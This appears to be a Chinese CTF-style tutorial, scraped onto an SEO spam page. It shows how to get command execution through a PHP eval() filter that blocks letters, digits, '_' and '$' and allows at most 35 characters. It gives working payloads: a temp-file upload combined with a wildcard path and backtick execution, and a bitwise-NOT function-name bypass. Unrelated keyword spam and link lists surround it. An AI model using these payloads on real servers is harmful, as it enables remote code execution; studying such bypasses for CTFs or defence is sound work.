当前位置: 首页 > news >正文

wordpress 文字主题上海seo优化公司bwyseo

wordpress 文字主题,上海seo优化公司bwyseo,绵阳市住房和建设委员会网站,信云科技的vps怎么做网站目录 对于php5以上首先要解决的问题有 解决技巧 1.code长度小于35位 2.没有字母、数字、_ 、$ 3.怎么把文件放进服务器 4.怎么执行文件里面的内容 1.执行Linux命令 2.执行文件里面的shell命令 5.构造完整的code参数 6.我们还可以通过修改文件里面shell命令,…

目录

对于php5以上首先要解决的问题有

解决技巧

1.code长度小于35位

2.没有字母、数字、_ 、$

3.怎么把文件放进服务器

4.怎么执行文件里面的内容

        1.执行Linux命令

        2.执行文件里面的shell命令

5.构造完整的code参数

6.我们还可以通过修改文件里面shell命令,执行不同的命令

对于php7可以用取反绕过的技巧( ~ 是取反的意思)


<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

这个代码怎么利用

对于php5以上首先要解决的问题有

1.code长度小于35位

2.没有字母、数字、_ 、$

3.怎么把文件放进服务器

4.怎么执行文件里面的内容

解决技巧

1.code长度小于35位

这个问题和整体思路有关,要和后面的一起考虑

2.没有字母、数字、_ 、$

可以不用字母数字,Linux系统文件名支持通配符方式查找

比如

* 代表任意长度的字符

?代表任意一个长度的字符

[ ] 匹配括号里面的任意一个

这道题我们要找文件,不能用字母,数字等,因为我们要找的文件有个特点是在tmp下,9位,最后一位有几率是大写字母,所以我们可以用通配符和ascii码结合一下,写出payload

/???/????????[@-[] 

因为最后一位是大写,所以可以用@-[ ,因为@到[ 的ASCII码正好刚刚好包含了大写字母

3.怎么把文件放进服务器

写一个文件上传的html页面,作用是用burp工具拿取文件上传的请求标准格式和里面特有的标记

<!DOCTYPE html>
<html lang="zh">
<head>  <meta charset="UTF-8">  <title>文件上传示例</title>  
</head>
<body><form action="upload.php" method="post" enctype="multipart/form-data"><label for="file">选择文件:</label><input type="file" name="file" id="file" required><input type="submit" value="上传"></form>
</body>
</html>

在上传的文件1.txt里面写上#!bin/bash

                                           id          

复制如图的请求标识,备用      

4.怎么执行文件里面的内容

在发送上一步文件上传请求后,Linux会在tmp下生成一个临时文件,我们要运行并执行文件里面的内容

        1.执行Linux命令

                在Linux里面``反引号可以执行命令,所以我们用

                `/???/????????[@-[]`

                来执行查找临时文件的命令,

        2.执行文件里面的shell命令

               在文件路径的前面加上   .  可以执行文件里面的命令

        所以payload是

                `. /???/????????[@-[]`

5.构造完整的code参数

        code=?><?=`. /???/????????[@-[]`;?>

<?是php的开头,为什么前面还要加一个?>呢

因为这个是php官方要求的,目的是为了防止前面的代码进行干扰,就用?>进行闭合,

然后再写我们的php代码。

如图所示,post请求是可以把get请求参数和post请求一起进行传递的

整个过程是,post请求把带有shell命令的临时文件生成,然后get请求传递code值放入eval()里面,

然后执行查找临时文件的命令,找到了临时文件,然后用 . 来执行文件里面的显示当前用户id的命令,最后,用户id信息就会显示在响应包里面

6.我们还可以通过修改文件里面shell命令,执行不同的命令

对于php7还可以用取反绕过的技巧( ~ 是取反的意思)

PHP7允许用($a)();这样的方法来执行动态函数,所以我们可以想到直接(phpinfo)();

但是由于过滤了字母,不能直接写phpinfo,可以进行取反

把phpinfo用php代码进行取反,得到

%8F%97%8F%96%91%99%90

取反绕过了以后再取反一次,就回到了我们的phpinfo

所以可以构造payload为

code=(~%8F%97%8F%96%91%99%90)();

http://www.tj-hxxt.cn/news/54929.html

相关文章:

  • 泉州学校网站开发百度账号24小时人工电话
  • 试述网站开发的流程最近实时热点新闻事件
  • 主流的网站开发框架谷歌浏览器官方app下载
  • html5 开发网站seo 工具推荐
  • 专业营销型网站建设公司百度视频免费高清影视
  • 如何做微信小程序店铺优化系统的软件
  • 网站建设速成班网课免费平台
  • 个人简历制作win7优化大师官方网站
  • wordpress百度cdnseo入门培训学校
  • 北京市住房建设委员会网站西安seo建站
  • 网站制作软件工程师百度关键词投放
  • 想做一个电影网站该怎么做广东知名seo推广多少钱
  • seo排名快速上升seo教学免费课程霸屏
  • 简述电子商务网站建设的基本流程武汉seo引擎优化
  • 深圳市鸿运通网站建设百度推广最近怎么了
  • php网站开发linux产品推广策略
  • 高端的赣州网站建设新手怎么推广自己的店铺
  • 网站建设方案范文8篇小程序设计
  • 郑州做网站的公司排名企业管理培训课程费用
  • 国家市场监督管理总局appseo推广策略
  • 桂林市天气预报15天准确新手怎么做seo优化
  • 网站标题更改谷歌排名优化
  • 广西住房城乡建设网站网络营销的实现方式
  • 建凡网站网站提交入口链接
  • 中国农村建设投资有限公司网站首页游戏行业seo整站优化
  • 福田做棋牌网站建设哪家公司便宜宁波百度快照优化排名
  • 网站开发估价seo推广是什么工作
  • 移动网站建设企业网站建设流程
  • wordpress防采集源码安卓优化大师
  • 合肥网站开发哪家好网络seo优化推广